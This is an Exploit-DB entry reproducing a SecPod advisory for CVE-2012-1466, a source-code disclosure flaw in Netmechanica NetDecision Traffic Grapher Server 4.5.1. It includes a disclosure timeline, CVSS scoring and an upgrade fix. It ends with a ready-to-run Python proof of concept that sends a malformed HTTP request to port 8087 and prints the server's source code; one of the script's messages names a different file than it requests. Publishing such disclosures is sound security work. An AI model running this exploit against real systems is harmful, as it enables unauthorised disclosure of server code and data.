标题: Netmechanica NetDecision Traffic Grapher Server - Information Disclosure EDB-ID: 18542 CVE: 2012-1466 类型: REMOTE 平台: WINDOWS 发布日期: 2012-02-29 漏洞利用脚本: ##############################################################################
#
# Title    : Netmechanica NetDecision Traffic Grapher Server Information 
#            Disclosure Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=481
#            http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt
#      http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py
# Software : Netmechanica NetDecision Traffic Grapher Server version 4.5.1
# Date     : 06/12/2011
#
###############################################################################

SecPod ID: 1039         05/12/2011 Issue Discovered
      21/02/2012 Vendor Notified
      22/02/2012 Vendor Acknowledge
      24/02/2012 Issue Resolved


Class: Information Disclosure   Severity: High


Overview:
---------
Netmechanica NetDecision Traffic Grapher Server version 4.5.1 is prone to
source code information disclosure vulnerability.


Technical Description:
----------------------
The vulnerability is caused due to improper validation of malicious HTTP 
GET request to Traffic Grapher Server 'default.nd' with invalid HTTP version 
number followed by multiple 'CRLF', which discloses the source code of 
'default.nd'


Impact:
--------
Successful exploitation could allow an attacker to cause disclosure of
sensitive information.


Affected Software:
------------------
NetDecision 4.5.1 (full package) Traffic Grapher Server version 4.5.1


Tested on:
-----------
NetDecision 4.5.1 (full package) Traffic Grapher Server version 4.5.1
on Windows XP SP3 & Win XP2. 
Older versions might be affected.


References:
-----------
http://secpod.org/blog/?p=481
http://www.netmechanica.com/downloads
http://www.netmechanica.com/news/?news_id=26


Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py


Vendor URL:
----------------
http://www.netmechanica.com
http://www.netmechanica.com/news/?news_id=26


Solution:
----------
Upgrade to NetDecision 4.6.1


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = COMPLETE
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 8 (AV:N/AC:L/Au:N/C:C/I:N/A:N)
        Risk factor            = High


Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.


#!/usr/bin/python
##############################################################################
#
# Title    : Netmechanica NetDecision Traffic Grapher Server Information 
#            Disclosure  Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=481
#            http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt
#      http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py
# Software : Netmechanica NetDecision Traffic Grapher Server version 4.5.1
# Date     : 06/12/2011
#
###############################################################################

import socket,sys,time


if len(sys.argv) < 2:
        print "\t[-] Usage: python SecPod_Exploit_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc.py target_ip"
        print "\t[-] Example : python SecPod_Exploit_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc.py 127.0.0.1"
        print "\t[-] Exiting..."
        sys.exit(0)

port   = 8087
target = sys.argv[1]

try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)

try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((target,port))
    time.sleep(1)
except:
    print "socket() failed"
    sys.exit(1)

exploit = "GET " + "/test.nd" + " HTTP/-1111111"+"\r\n\r\n"

print "HTTP GET request for /default.nd with invalid HTTP version triggers"+\
       " the vulnerability"

data = exploit
sock.sendto(data, (target, port))

for i in range(1,10):
    sock.sendto("\r\n",(target, port))
    time.sleep(1)

time.sleep(10)
res = sock.recv(10000)
sock.close()
print "[+] Source Code of Netdecision Traffice Grapher Server : \r\n"
print res
sys.exit(1) URL: https://www.exploit-db.com/exploits/18542